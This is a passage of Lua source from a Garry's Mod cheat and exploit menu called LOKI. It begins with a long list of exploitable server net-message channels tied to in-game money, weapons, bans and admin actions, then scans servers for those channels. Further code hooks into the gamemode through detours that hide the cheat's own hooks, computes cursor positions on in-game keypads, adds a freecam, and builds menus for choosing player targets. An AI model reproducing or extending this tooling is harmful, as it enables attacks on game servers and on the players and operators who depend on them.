"CpForm_Answers", "VehicleUnderglow", "OpenGates", "DemotePlayer", "SendMail", "REPAdminChangeLVL", "BuyUpgradesStuff", "SquadGiveWeapon", "SetTableTarget", "UpdateRPUModelSQL", "disguise", "gportal_rpname_change", "NewRPNameSQL", "chname", "AbilityUse", "race_accept", "NLR_SPAWN", "opr_withdraw", "revival_revive_accept", "BuyFirstTovar", "BuySecondTovar", "MONEY_SYSTEM_GetWeapons", "MCon_Demote_ToServer", "withdrawMoney", "gPrinters.retrieveMoney", "NGII_TakeMoney", "money_clicker_withdraw", "opr_withdraw", "NET_DoPrinterAction", "tickbooksendfine", "withdrawp", "PCAdd", "viv_hl2rp_disp_message", "Kun_SellOil", "gPrinters.sendID", "requestmoneyforvk", "vj_testentity_runtextsd", "NET_BailPlayer", "rpi_trade_end", "ClickerForceSave", "SRequest", "HealButton", "GiveArmor100", "GiveSCP294Cup", "Client_To_Server_OpenEditor", "userAcceptPrestige", "wordenns", "guncraft_removeWorkbench", "BuyKey", "PurchaseWeed", "DoDealerDeliver", "sendDuelInfo", "CreateOrganization", "DisbandOrganization", "ChangeOrgName", "IS_SubmitSID_C2S", "AcceptBailOffer", "CP_Test_Results", "ReSpawn", "FIGHTCLUB_KickPlayer", "IveBeenRDMed", "nCTieUpStart", "DestroyTable", "bringNfreeze", "JoinFirstSS", "unarrestPerson", "inviteToOrganization", "GovStation_SpawnVehicle", "DailyLoginClaim", "DL_AskLogsList", "DL_StartReport", "SpecDM_SendLoadout", "PowerRoundsForcePR", "wyozimc_playply", "SendSteamID", "JB_GiveCubics", "JB_SelectWarden", "RDMReason_Explain", "redirectMsg", "LB_AddBan", "GET_Admin_MSGS", "br_send_pm", "LAWYER.BailFelonOut", "LAWYER.GetBailOut", "GrabMoney", "nox_addpremadepunishment", "HV_AmmoBuy", "TMC_NET_MakePlayerWanted", "thiefnpc", "TMC_NET_FirePlayer", "updateLaws", "LotteryMenu", "soundArrestCommit", "hoverboardpurchase", "SpawnProtection", "NPCShop_BuyItem", "AcceptRequest", "Chess ClientWager", "netOrgVoteInvite_Server", "AskPickupItemInv", "buy_bundle", "MineServer", "Gb_gasstation_BuyGas", "D3A_CreateOrg", "ScannerMenu", "ORG_NewOrg", "passmayorexam", "levelup_useperk", "DeployMask", "RemoveMask", "SwapFilter", "WipeMask", "UseMedkit", "IDInv_RequestBank", "desktopPrinter_Withdraw", "sphys_dupe", "simfphys_gasspill", "dronesrewrite_controldr", "SCP-294Sv", "VC_PlayerReady", "blueatm", "cab_sendmessage", "FARMINGMOD_DROPITEM", "SlotsRemoved", "AirDrops_StartPlacement", "pp_info_send", "IGS.GetPaymentURL", "tickbookpayfine", "ncpstoredoact", "PermwepsNPCSellWeapon", "NET_AM_MakePotion", "minigun_drones_switch", "CW20_PRESET_LOAD", "SBP_addtime", "NetData", "ts_buytitle", "SBP_addtime", "EnterpriseWithdraw", "Chess Top10", "lectureListe", "Warn_CreateWarn", "BuilderXToggleKill", "deathrag_takeitem", "REPPurchase", "Hopping_Test", "REPAdminChangeLVL", "SquadGiveWeapon", "UpdateRPUModelSQL", "gportal_rpname_change", "NewRPNameSQL", "race_accept", "Kun_ZiptieStruggle", "NGII_TakeMoney", "InviteMember", "start_wd_hack", "giveArrestReason", "sellitem", "sv_saveweapons", "NET_CR_TakeStoredMoney", "donatorshop_itemtobuy", "misswd_accept", "ORG_VaultDonate", "Selldatride", "ZED_SpawnCar", "cab_cd_testdrive", "cab_sendmessage", "EliteParty_NoPOpenMenu", "EliteParty_SendPartyChat_ToClient", "EP_CreateParty_ToServer", "EP_ViewMenu_ToClient", "EliteParty_ViewParty_ToServer", "EP_ViewMenu_ToClient", "EliteParty_CreateParty_ToServer", "EliteParty_EditParty_ToServer", "EliteParty_LeaveParty_ToServer", "EliteParty_RequestInviteList_ToServer", "EliteParty_RequestInviteList_ToClient", "EliteParty_InvitePlayer_ToServer", "EliteParty_InvitePlayer_ToClient", "EliteParty_PartyInvitedAccepted_ToServer", "EliteParty_NewMember_ToClient", "EliteParty_NewMember_ToClient", "EliteParty_RequestJoin_ToServer", "EliteParty_RequestJoin_ToClient", "EliteParty_PartyRequestAccepted_ToServer", "EliteParty_PartyRequestAccepted_ToClient", "EliteParty_KickMember_ToServer", "EliteParty_KickedMember_ToClient", "EliteParty_KickedMember_ToClient", "EliteParty_MakeFounder_ToServer", "EliteParty_MakeFounder_ToClient", "Cuffs_GagPlayer", "Cuffs_BlindPlayer", "Cuffs_FreePlayer", "Cuffs_DragPlayer", "Cuffs_TiePlayers", "Cuffs_UntiePlayers", "xenoexistscl", "xenoexists", "xenoisactivatedcl", "xenoisactivated", "xenoac", "xenoclientfunction", "xenoserverfunction", "xenoactivation", "AddDeathZone", "StartEndGhost", "RemoveCertainZone", "testNet", "RemoveDeathZones", "nlr.notify", "nlr.killEvent", "nlr.RemoveZone", "pnet_Ready", "OpenFpsMenu", "Amethyst_PushNotification", "SendMessageToPlayer", "AmethystMessageSet", "Amethyst_PStats", "Amethyst_DebugAdd", "Amethyst_FetchLogs", "gLevel.buyWeapon", "gLevel.unlockAchievement", "gLevel.unlockAchievement", "gLevel.buySkill", "gLevel.doPrestige", "gLevel.buyAccesory", "gLevel.notifications", "gLevel.syncWeapons", "gLevel.loadWeapons", "gLevel.syncSkills", "gLevel.loadSkills", "gLevel.syncAchievements", "gLevel.loadAchievements", "NetWrapperVar", "NetWrapperRequest", "NetWrapperClear", "NetWrapperClear", "nodium", "_A", "gmhax_ShowUnknownEntity", "_da_", "whk_setart", "DarkRP_spawnPocket", "DuelMessageReturn", "ban_rdm", "dLogsGetCommand", "disguise", "AbilityUse", "give_me_weapon", "FinishContract", "NLR_SPAWN", "Kun_ZiptieStruggle", "NET_SS_DoBuyTakeoff", "ckit_roul_bet", "ply_pick_shit", "MONEY_SYSTEM_GetWeapons", "Sbox_gm_attackofnullday", "Sbox_gm_attackofnullday_key", "_blacksmurf", "echangeinfo", "open_menu", "closebutton_repeat", "sMsgStandard", "sNotifyHit", "sMsgAdmins", "sAlertNotice", "fgtnoafk", "Debug1", "Debug2", "gcontrol_vars", "control_vars", "checksaum", "atlaschat.sndcfg", "atlaschat.gtcfg", "arcphone_atmos_support", "arcphone_comm_status", "arcphone_emerg_numbers", "arcphone_nutscript_number", "ferpHUDSqu", "lolwut", "gotcha", "PrometheusMessages", "PrometheusNotification", "PrometheusPackages", "PrometheusColorChat", "Cl_PrometheusRequest", "PrometheusCustomJob", "GivePlayerAFKWarning", "RemovePlayerAFKWarning", "SyncButtons", "check_if_whitelist_enabled", "enable_whitelist", "add_to_whitelist", "remove_from_whitelist", "disable_whitelist", "clear_whitelist", "get_enabled_whitelist", "get_last_enabled_whitelist", "no_enabled_whitelists", "import_from_nordahl", "import_from_old_bwhitelist", "import_from_mayoz", "enable_all_whitelists", "disable_all_whitelists", "reset_everything", "customcheckerror", "clear_unknown_jobs", "get_all_blacklists", "get_all_permissed", "get_a_enabled", "no_import", "already_exists", "doesnt_exist", "stop_data_flow", "get_blacklisted", "SH_ACC_READY", "SH_ACC_PURCHASE", "SH_ACC_SELL", "SH_ACC_MENU", "SH_ACC_EQUIP", "SH_ACC_EQUIPS", "SH_ACC_CHANGE", "SH_ACC_INV", "SH_ACC_NOTIFY", "SH_ACC_ADJUST", "SH_ACC_ADJUST_RESET", "SH_ACC_REQUEST", "ASayPopup", "SW.nSetWeather", "SW.nRedownloadLightmaps", "ulxqm_reasons", "EZI_GetRankSpace", "gPrinters.rrnow", "gPrinters.retrieveMoney", "R8", "changeToPhysgun", "SetPlayerModel", "PSA.Undertale", "KickMe"}
679LOKI.BAIT_CHANNELS = {}
680LOKI.BAIT_COUNT = 0
681LOKI.BAIT_CHANNELS_FOUND = {}
682LOKI.BAIT_LIMIT = 5
683for k, v in pairs(LOKI.BAIT_UNSORTED) do
684 LOKI.BAIT_CHANNELS[v] = v
685 LOKI.GENERAL_OVERRIDE = true
686 if(LOKI.ValidNetString(v) && LOKI.BAIT_CHANNELS[v]) then
687 LOKI.BAIT_COUNT = LOKI.BAIT_COUNT + 1
688 LOKI.BAIT_CHANNELS_FOUND[v] = v
689 end
690 LOKI.GENERAL_OVERRIDE = false
691end
692LOKI.Freecam = {}
693LOKI.Freecam.Enabled = false
694LOKI.Freecam.ViewOrigin = Vector( 0, 0, 0 )
695LOKI.Freecam.ViewAngle = Angle( 0, 0, 0 )
696LOKI.Freecam.Velocity = Vector( 0, 0, 0 )
697LOKI.Freecam.Data = {}
698function LOKI.Freecam.Toggle(var)
699 LOKI.Freecam.SetView = true
700 LOKI.Freecam.Enabled = var
701end
702function LOKI.Freecam.EyePos()
703 local pos;
704 if(LOKI.Freecam.Enabled == true) then
705 pos = LOKI.Freecam.Data.origin
706 else
707 pos = EyePos()
708 end
709 return pos
710end
711function LOKI.CalculateRenderPos(self)
712 local pos = self:GetPos()
713 pos:Add(self:GetForward() * self:OBBMaxs().x) -- Translate to front
714 pos:Add(self:GetRight() * self:OBBMaxs().y) -- Translate to left
715 pos:Add(self:GetUp() * self:OBBMaxs().z) -- Translate to top
716
717 pos:Add(self:GetForward() * 0.15) -- Pop out of front to stop culling
718
719 return pos
720end
721
722function LOKI.CalculateRenderAng(self)
723 local ang = self:GetAngles()
724 ang:RotateAroundAxis(ang:Right(), -90)
725 ang:RotateAroundAxis(ang:Up(), 90)
726
727 return ang
728end
729function LOKI.CalculateKeypadCursorPos(ply, ent)
730 if !ply:IsValid() then return end
731
732 local tr = util.TraceLine( { start = ply:EyePos(), endpos = ply:EyePos() + ply:GetAimVector() * 65, filter = ply } )
733 if !tr.Entity or tr.Entity ~= ent then return 0, 0 end
734
735 local scale = ent.Scale || 0.02
736 if !scale then return 0, 0 end
737
738 local pos, ang = LOKI.CalculateRenderPos(ent), LOKI.CalculateRenderAng(ent)
739 if !pos or !ang then return 0, 0 end
740 local normal = ent:GetForward()
741
742 local intersection = util.IntersectRayWithPlane(ply:EyePos(), ply:GetAimVector(), pos, normal)
743 if !intersection then return 0, 0 end
744
745 local diff = pos - intersection
746
747 local x = diff:Dot( -ang:Forward() ) / scale
748 local y = diff:Dot( -ang:Right() ) / scale
749
750 return x, y
751end
752local elements = {{x = 0.075, y = 0.04, w = 0.85, h = 0.25,},{x = 0.075, y = 0.04 + 0.25 + 0.03, w = 0.85 / 2 - 0.04 / 2 + 0.05, h = 0.125, text = "ABORT",},{x = 0.5 + 0.04 / 2 + 0.05, y = 0.04 + 0.25 + 0.03, w = 0.85 / 2 - 0.04 / 2 - 0.05, h = 0.125, text = "OK",}}
753do for i = 1, 9 do local column = (i - 1) % 3 local row = math.floor((i - 1) / 3) local element = {x = 0.075 + (0.3 * column), y = 0.175 + 0.25 + 0.05 + ((0.5 / 3) * row), w = 0.25, h = 0.13, text = tostring(i), } elements[#elements + 1] = element end end
754function LOKI.KPGetHoveredElement(ply, ent)
755 local scale = ent.Scale || 0.02
756
757 local w, h = (ent:OBBMaxs().y - ent:OBBMins().y) / scale , (ent:OBBMaxs().z - ent:OBBMins().z) / scale
758 local x, y = LOKI.CalculateKeypadCursorPos(ply, ent)
759
760 for _, element in ipairs(elements) do
761 local element_x = w * element.x
762 local element_y = h * element.y
763 local element_w = w * element.w
764 local element_h = h * element.h
765
766 if element_x < x and element_x + element_w > x and
767 element_y < y and element_y + element_h > y
768 then
769 return element
770 end
771 end
772end
773function LOKI.GetKeypadStatus(kp)
774 if(kp.SendCommand) then
775 return {0, 1, 2}
776 elseif(kp.EnterKey) then
777 return {0, 2, 1}
778 end
779 return {0, 1, 2}
780end
781LOKI.KeypadCodes = LOKI.LAST.KeypadCodes || {}
782LOKI.TempKeypadCodes = LOKI.LAST.TempKeypadCodes || {}
783LOKI.KeypadStatus = LOKI.LAST.KeypadStatus || {}
784LOKI.KeypadText = LOKI.LAST.KeypadText || {}
785LOKI.CommandList = {}
786LOKI.CompleteList = {}
787LOKI.concommand = {}
788LOKI.concommand.Add = function( name, func, completefunc, help, flags )
789 local det_call = LOKI.DetourCall || false
790 LOKI.DetourCall = true
791 local LowerName = string.lower( name )
792 LOKI.CommandList[ LowerName ] = func
793 LOKI.CompleteList[ LowerName ] = completefunc
794 //AddConsoleCommand( name, help, flags )
795 LOKI.DetourCall = det_call
796end
797
798LOKI.NetReceivers = {}
799LOKI.Hooks = {};
800
801gmod.GetGamemode().AcceptInput = function(self, type, name, func)
802 LOKI.Hooks[type] = LOKI.Hooks[type] || {};
803
804 LOKI.Hooks[type][name] = func;
805
806 if(!LOKI.Detours["GAMEMODE"]) then
807 LOKI.Detours["GAMEMODE"] = {};
808 end
809
810 if(!LOKI.Hooks["GAMEMODE"]) then
811 LOKI.Hooks["GAMEMODE"] = {};
812 end
813
814 if(!LOKI.Detours["GAMEMODE"][type]) then
815 LOKI.Detours["GAMEMODE"][type] = self[type];
816 end
817
818 if(LOKI.Detours["GAMEMODE"][type] && LOKI.Hooks["GAMEMODE"][type] && LOKI.Hooks["GAMEMODE"][type] != self[type]) then
819 LOKI.Detours["GAMEMODE"][type] = self[type];
820 end
821
822 LOKI.Hooks["GAMEMODE"][type] = function(self, ...)
823 if(!LOKI || !LOKI.Detours || LOKI.Unload) then return end
824
825 local ret = nil
826 local args = {}
827
828 if(LOKI.Detours["GAMEMODE"][type]) then
829 args = {LOKI.Detours["GAMEMODE"][type](self, ...)};
830 if(#args != 0) then ret = (unpack(args)); end
831 end
832
833 if(LOKI.Killswitch || !LOKI.Hooks || !LOKI.Hooks[type]) then return ret end
834
835 for k,v in next, LOKI.Hooks[type] do
836 args = {v(ret, ...)};
837 if(#args == 0) then continue; end
838 ret = (unpack(args));
839 end
840
841 return ret
842 end
843
844 self[type] = LOKI.Hooks["GAMEMODE"][type]
845end
846local function hook_Add(eventName, identifier, func)
847 if(LOKI.DetourTables[eventName]) then return end
848 if(!LOKI.Hooks[eventName]) then
849 LOKI.Hooks[eventName] = {}
850 end
851 LOKI.Hooks[eventName][identifier] = func
852 if(LOKI.SecureHooks) then
853 return gmod.GetGamemode():AcceptInput(eventName, identifier, func)
854 else
855 return hook.Add(eventName, identifier, func)
856 end
857end
858//////////////////////////////////////////////- MENU UTILS -////////////////////////////////////////////////
859function LOKI.MakeFunctionButton( parent, x, y, btext, func, tooltip, tab, border)
860 if !parent:IsValid() then return end
861 local TButton = LOKI.vgui.Create( "DButton", LOKI.Menu )
862 TButton:SetParent( parent )
863 TButton:SetPos( x, y )
864 TButton:SetText( btext )
865 TButton:SetTextColor( Color(255, 255, 255, 255) )
866 TButton:SizeToContents()
867 TButton:SetTall( 24 )
868 --if tooltip then TButton:SetToolTip( tooltip ) end
869 TButton.Paint = function( self, w, h )
870 surface.SetDrawColor( Color(60, 60, 60, 200) )
871 surface.DrawRect( 0, 0, w, h )
872 surface.SetDrawColor( Color( 60, 60, 60 ) )
873 surface.SetMaterial( downgrad )
874 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
875 surface.SetDrawColor( Color(100, 100, 100, 255) )
876 surface.DrawOutlinedRect( 0, 0, w, h )
877 if(border) then
878 local enabled = false
879 if(isbool(tab.bool)) then
880 enabled = tab.bool
881 elseif(LOKI.NotNil(tab.bool)) then
882 enabled = func.bools[tab.bool]
883 else
884 enabled = func.bools.enabled
885 end
886 if(enabled) then
887 surface.SetDrawColor( Color(55, 255, 55, 245) )
888 surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
889 end
890 end
891 end
892 TButton.DoClick = function()
893 if(!tab) then
894 return func()
895 end
896 if(tab.typ == "func") then
897 local det_call = LOKI.DetourCall || false
898 LOKI.DetourCall = true
899 if(func && func.hooks.Think) then
900 func.hooks.Think(tab.args || {}, func, TButton)
901 end
902 LOKI.DetourCall = det_call
903 elseif(tab.typ == "bool") then
904 local enabled = false
905 if(isbool(tab.bool)) then
906 tab.bool = !tab.bool
907 enabled = tab.bool
908 elseif(LOKI.NotNil(tab.bool)) then
909 func.bools[tab.bool] = !func.bools[tab.bool]
910 enabled = func.bools[tab.bool]
911 else
912 func.bools.enabled = !func.bools.enabled
913 enabled = func.bools.enabled
914 end
915 if(isfunction(tab.callback)) then
916 tab.callback(enabled)
917 end
918 TButton:SetText(!enabled && ((tab.ToggleText && tab.ToggleText[1]) || "Start") || ((tab.ToggleText && (tab.ToggleText[2] || tab.ToggleText[1])) || "Stop"))
919 if(isfunction(func.OnEnable) && enabled) then
920 if(LOKI.NotNil(tab.bool)) then
921 func.OnEnable(tab.bool, func)
922 else
923 func.OnEnable("enabled", func)
924 end
925 end
926 if(isfunction(func.OnDisable) && !enabled) then
927 if(LOKI.NotNil(tab.bool)) then
928 func.OnDisable(tab.bool, func)
929 else
930 func.OnDisable("enabled", func)
931 end
932 end
933 if(tab.bool && tab.addr) then LOKI.Store(tab.addr, func.bools[tab.bool]) end
934 TButton:SizeToContents()
935 TButton:SetTall(24)
936 end
937 end
938 return TButton:GetWide(), TButton:GetTall()
939end
940function LOKI.OpenTableEditor(Parent, WholeTable, Title, Callback, isSecondTable, Position, Position2, Originaltable)
941 local WholeTablecopy = (table.Copy( WholeTable ) )
942 local TableEditFrame = LOKI.vgui.Create( "DFrame", Parent )
943 TableEditFrame:SetPos( 50, 50 )
944 TableEditFrame:SetSize( 1000, ScrH()/2 )
945 TableEditFrame:SetTitle(Title)
946 TableEditFrame:Center()
947 TableEditFrame:SetVisible( true )
948 TableEditFrame:SetDraggable( true )
949 TableEditFrame:ShowCloseButton( true )
950 TableEditFrame.Paint = function(s, w, h)
951 if(Parent && (!IsValid(Parent) || !LOKI.Menu:IsVisible())) then TableEditFrame:Close() return end
952 surface.SetDrawColor( Color(30, 30, 30, 245) )
953 surface.DrawRect( 0, 0, w, h )
954 end
955 TableEditFrame:MakePopup()
956
957 local vList = LOKI.vgui.Create( "DCategoryList", TableEditFrame )
958 vList.Paint = function() end
959 vList:Dock( FILL )
960
961 for v,k in SortedPairs(WholeTablecopy) do
962
963
964 if TypeID(k) == (TYPE_STRING)then
965 local Value = vList:Add( v .. " (STRING)" )
966 local TextEntry = LOKI.vgui.Create( "DTextEntry", vList )
967 TextEntry:SetSize( 1000, 25 )
968 TextEntry:SetText( k )
969
970 TextEntry.OnChange = function( self )
971 WholeTablecopy[v] = self:GetValue()
972 end
973 end
974
975 if TypeID(k) == (TYPE_NUMBER)then
976 local Value = vList:Add( v .. " (NUMBER)" )
977 local TextEntry = LOKI.vgui.Create( "DTextEntry", vList )
978 TextEntry:SetSize( 1000, 25 )
979 TextEntry:SetText( k )
980 TextEntry.OnChange = function( self )
981 WholeTablecopy[v] = tonumber(self:GetValue())
982 end
983 end
984
985 if TypeID(k) == (TYPE_BOOL)then
986 local Value = vList:Add( v .. " (BOOL)")
987 local DComboBox = LOKI.vgui.Create( "DComboBox", vList )
988 --DComboBox:SetPos( 5, 5 )
989 DComboBox:SetSize( 100, 20 )
990 DComboBox:SetValue( tostring(k) )
991 DComboBox:AddChoice( "true" )
992 DComboBox:AddChoice( "false" )
993 DComboBox.OnSelect = function( panel, index, value )
994 WholeTablecopy[v] = tobool(value)
995 end
996 end
997
998 if TypeID(k) == (TYPE_VECTOR)then
999 local vecstring = tostring(k)
1000 local Value = vList:Add( v .. " (VECTOR)")
1001 local TextEntry = LOKI.vgui.Create( "DTextEntry", vList )
1002 TextEntry:SetSize( 1000, 25 )
1003 TextEntry:SetText( vecstring )
1004 TextEntry.OnChange = function( self )
1005 WholeTablecopy[v] = util.StringToType(self:GetValue(), "Vector" )
1006 end
1007 end
1008
1009 if TypeID(k) == (TYPE_ANGLE)then
1010 local vecstring = tostring(k)
1011 local Value = vList:Add( v .. " (ANGLE)")
1012 local TextEntry = LOKI.vgui.Create( "DTextEntry", vList )
1013 TextEntry:SetSize( 1000, 25 )
1014 TextEntry:SetText( vecstring )
1015 TextEntry.OnChange = function( self )
1016 WholeTablecopy[v] = util.StringToType(self:GetValue(), "Angle" )
1017 end
1018 end
1019
1020
1021 if TypeID(k) == (TYPE_TABLE) then
1022 local Value = vList:Add( v.. " (TABLE)" )
1023 if k.r && k["g"] && k["b"] && k["a"] then
1024 local SmallFrame = LOKI.vgui.Create( "DPanel",vList)
1025 SmallFrame:SetBackgroundColor(Color(200,200,200))
1026 SmallFrame:SetHeight(300)
1027 local Mixer = LOKI.vgui.Create( "DColorMixer", SmallFrame )
1028 Mixer:Dock( LEFT ) --Make Mixer fill place of Frame
1029 Mixer:SetWidth(400)
1030 Mixer:SetHeight(300)
1031 Mixer:SetPalette( true ) --Show/hide the palette DEF:true
1032 Mixer:SetAlphaBar( true ) --Show/hide the alpha bar DEF:true
1033 Mixer:SetWangs( true ) --Show/hide the R G B A indicators DEF:true
1034 Mixer:SetColor( Color( k["r"] , k["g"] , k["b"] , k["a"] ) ) --Set the default color
1035
1036 local DColorButton = LOKI.vgui.Create( "DColorButton", SmallFrame )
1037 DColorButton:Dock( TOP )
1038 DColorButton:SetSize( 50, 50 )
1039 --DColorButton:SetPos( 60, 100 )
1040 DColorButton:SetColor(Mixer:GetColor())
1041
1042 function Mixer:ValueChanged(self, color)
1043 DColorButton:SetColor(Mixer:GetColor())
1044 WholeTablecopy[v] = Mixer:GetColor()
1045 end
1046
1047 else
1048
1049
1050 for t,z in pairs(k) do -- Second Level
1051
1052 if TypeID(z) == (TYPE_STRING)then
1053 local SmallFrame = LOKI.vgui.Create( "DPanel",vList)
1054
1055 local kList = LOKI.vgui.Create( "DLabel", SmallFrame )
1056 SmallFrame:SetBackgroundColor(Color(200,200,200))
1057 kList:SetText( " ".. t)
1058 kList:SetColor(Color(0,0,0))
1059 kList:SetPos(20,20)
1060 kList:SetSize(500,25)
1061 kList:Dock(LEFT)
1062
1063 local TextEntry = LOKI.vgui.Create( "DTextEntry", SmallFrame )
1064 TextEntry:SetSize( 500, 25 )
1065 TextEntry:Dock(RIGHT)
1066 TextEntry:SetText( z )
1067 TextEntry:SetPos(TableEditFrame:GetSize() - 600, 0)
1068 TextEntry.OnChange = function( self )
1069 WholeTablecopy[v][t] = self:GetValue()
1070 end
1071 end
1072
1073
1074 if TypeID(z) == (TYPE_NUMBER) then
1075 local SmallFrame = LOKI.vgui.Create( "DPanel",vList)
1076 local kList = LOKI.vgui.Create( "DLabel", SmallFrame )
1077 SmallFrame:SetBackgroundColor(Color(200,200,200))
1078 kList:SetText( " ".. t)
1079 kList:SetColor(Color(0,0,0))
1080 kList:SetPos(20,0)
1081 kList:SetSize(500,25)
1082 kList:Dock(LEFT)
1083
1084 local TextEntry = LOKI.vgui.Create( "DTextEntry", SmallFrame )
1085 TextEntry:SetSize( 500, 25 )
1086 TextEntry:Dock(RIGHT)
1087 TextEntry:SetText( z )
1088 TextEntry:SetPos(TableEditFrame:GetSize() - 600, 0)
1089 TextEntry.OnChange = function( self )
1090 WholeTablecopy[v][t] = tonumber(self:GetValue())
1091 end
1092 end
1093
1094
1095 if TypeID(z) == TYPE_TABLE then --Third level starts over
1096 --local Value = vList:Add( t )
1097 local SmallFrame = LOKI.vgui.Create( "DPanel",vList)
1098 local kList = LOKI.vgui.Create( "DLabel", SmallFrame )
1099 SmallFrame:SetBackgroundColor(Color(200,200,200))
1100 kList:SetText( " ".. t)
1101 --kList:SetText(t)
1102 kList:SetColor(Color(0,0,0))
1103 kList:SetPos(20,0)
1104 kList:SetSize(500,25)
1105 kList:Dock(LEFT)
1106 local DermaButton = LOKI.vgui.Create( "DButton", SmallFrame )
1107 DermaButton:SetText( t.." (Table)")
1108 DermaButton:SetPos( DermaButton:GetSize() - 600, 0 )
1109 DermaButton:SetSize(500,25)
1110 DermaButton:Dock(RIGHT)
1111 DermaButton.DoClick = function()
1112 LOKI.OpenTableEditor(TableEditFrame, WholeTablecopy[v][t], Title, nil, true, v, t, WholeTablecopy)
1113 end
1114 end
1115 end
1116
1117 end
1118 end
1119 end
1120
1121 TableEditFrame.OnClose = function()
1122 if isSecondTable then
1123 local tablecopy = WholeTable
1124 table.Merge(Originaltable[Position][Position2], WholeTablecopy)
1125 else
1126 local tablecopy = table.DeSanitise(WholeTablecopy)
1127 table.Merge(WholeTable,tablecopy)
1128 if(isfunction(Callback)) then
1129 Callback(WholeTable)
1130 end
1131 end
1132 end
1133end
1134function LOKI.MakeEntitySelectionButton( parent, tbl, x, y, tab, single )
1135 if !parent:IsValid() then return end
1136 if(isfunction(tbl)) then
1137 tbl = tbl()
1138 end
1139 local TButton = LOKI.vgui.Create( "DButton", LOKI.Menu )
1140 TButton:SetParent( parent )
1141 TButton:SetPos( x, y )
1142 TButton:SetText( tab.Name || "Choose Target" .. (single && "" || "s") )
1143 TButton:SetTextColor( Color(255, 255, 255, 255) )
1144 TButton:SizeToContents()
1145 TButton:SetTall( 24 )
1146 TButton.Paint = function( self, w, h )
1147 surface.SetDrawColor( Color(60, 60, 90, 200) )
1148 surface.DrawRect( 0, 0, w, h )
1149 surface.SetDrawColor( Color( 60, 60, 60 ) )
1150 surface.SetMaterial( downgrad )
1151 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
1152 surface.SetDrawColor( Color(100, 100, 100, 255) )
1153 surface.DrawOutlinedRect( 0, 0, w, h )
1154 surface.SetDrawColor( Color(70, 70, 100, 255) )
1155 surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 )
1156 end
1157 TButton.DoClick = function()
1158 LOKI.SelectEntityPanel( parent, tbl, tab, single )
1159 end
1160 return TButton:GetWide(), TButton:GetTall()
1161end
1162function LOKI.SelectEntityPanel( parent, tbl, tab, single )
1163 if LOKI.EntitySelector and LOKI.EntitySelector:IsVisible() then LOKI.EntitySelector:Remove() end
1164 local plytab = LOKI.GetStored( tab.addr, {}, true )
1165 if(!istable(plytab)) then plytab = {plytab} end
1166 LOKI.EntitySelector = LOKI.vgui.Create("DFrame", parent)
1167 LOKI.EntitySelector:SetPaintedManually(true)
1168 LOKI.EntitySelector:SetSize(250,400)
1169 LOKI.EntitySelector:SetTitle("Select "..tab.typ.." to target")
1170 LOKI.EntitySelector:SetPos( gui.MouseX(), gui.MouseY() )
1171 LOKI.EntitySelector:MakePopup()
1172 LOKI.EntitySelector.Paint = function( s, w, h )
1173 if !IsValid(LOKI.Menu) or !LOKI.Menu:IsVisible() then s:Remove() return end
1174 surface.SetDrawColor( Color(30, 30, 30, 245) )
1175 surface.DrawRect( 0, 0, w, h )
1176 surface.SetDrawColor( Color(55, 55, 55, 245) )
1177 surface.DrawOutlinedRect( 0, 0, w, h )
1178 surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
1179 end
1180 local Plist = LOKI.vgui.Create( "DPanelList", LOKI.EntitySelector )
1181 Plist:SetSize( LOKI.EntitySelector:GetWide() - 10, LOKI.EntitySelector:GetTall() - 55 )
1182 Plist:SetPadding( 5 )
1183 Plist:SetSpacing( 5 )
1184 Plist:EnableHorizontal( false )
1185 Plist:EnableVerticalScrollbar( true )
1186 if(tab.nostore) then
1187 Plist:SetPos( 5, 20 )
1188 else
1189 Plist:SetPos( 5, 40 )
1190 end
1191 Plist:SetName( "" )
1192 local x, y = 10, 23
1193 if(!tab.nostore) then
1194 if(!single) then
1195 local target1 = LOKI.vgui.Create("DButton", LOKI.EntitySelector)
1196 target1:SetSize( 25, 20 )
1197 target1:SetPos( x, 23 )
1198 x = x + target1:GetSize()
1199 target1:SetText("All")
1200 target1:SetTextColor(Color(255, 255, 255, 255))
1201 target1.Paint = function(panel, w, h)
1202 surface.SetDrawColor(100, 100, 100 ,255)
1203 surface.DrawOutlinedRect(0, 0, w, h)
1204 surface.SetDrawColor(0, 0, 50 ,155)
1205 surface.DrawRect(0, 0, w, h)
1206 end
1207 target1.DoClick = function()
1208 for _, p in ipairs(tbl) do
1209 if not table.HasValue( plytab, p ) then
1210 table.insert( plytab, p )
1211 end
1212 end
1213 LOKI.Store( tab, plytab )
1214 end
1215 end
1216 local target2 = LOKI.vgui.Create("DButton", LOKI.EntitySelector)
1217 target2:SetSize( 40, 20 )
1218 target2:SetPos( x, 23 )
1219 x = x + target2:GetSize()
1220 target2:SetText("None")
1221 target2:SetTextColor(Color(255, 255, 255, 255))
1222 target2.Paint = function(panel, w, h)
1223 surface.SetDrawColor(100, 100, 100 ,255)
1224 surface.DrawOutlinedRect(0, 0, w, h)
1225 surface.SetDrawColor(0, 0, 50 ,155)
1226 surface.DrawRect(0, 0, w, h)
1227 end
1228 target2.DoClick = function()
1229 table.Empty(plytab)
1230 if(single) then
1231 LOKI.Store( tab, plytab[1] )
1232 else
1233 LOKI.Store( tab, plytab )
1234 end
1235 end
1236 if(type(tbl[1]) == "Player") then
1237 local target3 = LOKI.vgui.Create("DButton", LOKI.EntitySelector )
1238 target3:SetSize( 30, 20 )
1239 target3:SetPos( x, 23 )
1240 x = x + target3:GetSize()
1241 target3:SetText("Me")
1242 target3:SetTextColor(Color(255, 255, 255, 255))
1243 target3.Paint = function(panel, w, h)
1244 surface.SetDrawColor(100, 100, 100 ,255)
1245 surface.DrawOutlinedRect(0, 0, w, h)
1246 surface.SetDrawColor(0, 0, 50 ,155)
1247 surface.DrawRect(0, 0, w, h)
1248 end
1249 target3.DoClick = function()
1250 table.Empty(plytab)
1251 plytab[1] = LOKI.GetLP()
1252 if(single) then
1253 LOKI.Store( tab, plytab[1] )
1254 else
1255 LOKI.Store( tab, plytab )
1256 end
1257 end
1258 end
1259 if(!single && type(tbl[1]) == "Player") then
1260 local target4 = LOKI.vgui.Create("DButton", LOKI.EntitySelector )
1261 target4:SetSize( 50, 20 )
1262 target4:SetPos( x, 23 )
1263 x = x + target4:GetSize()
1264 target4:SetText("Whitelist")
1265 target4:SetTextColor(Color(255, 255, 255, 255))
1266 target4.Paint = function(panel, w, h)
1267 surface.SetDrawColor(100, 100, 100 ,255)
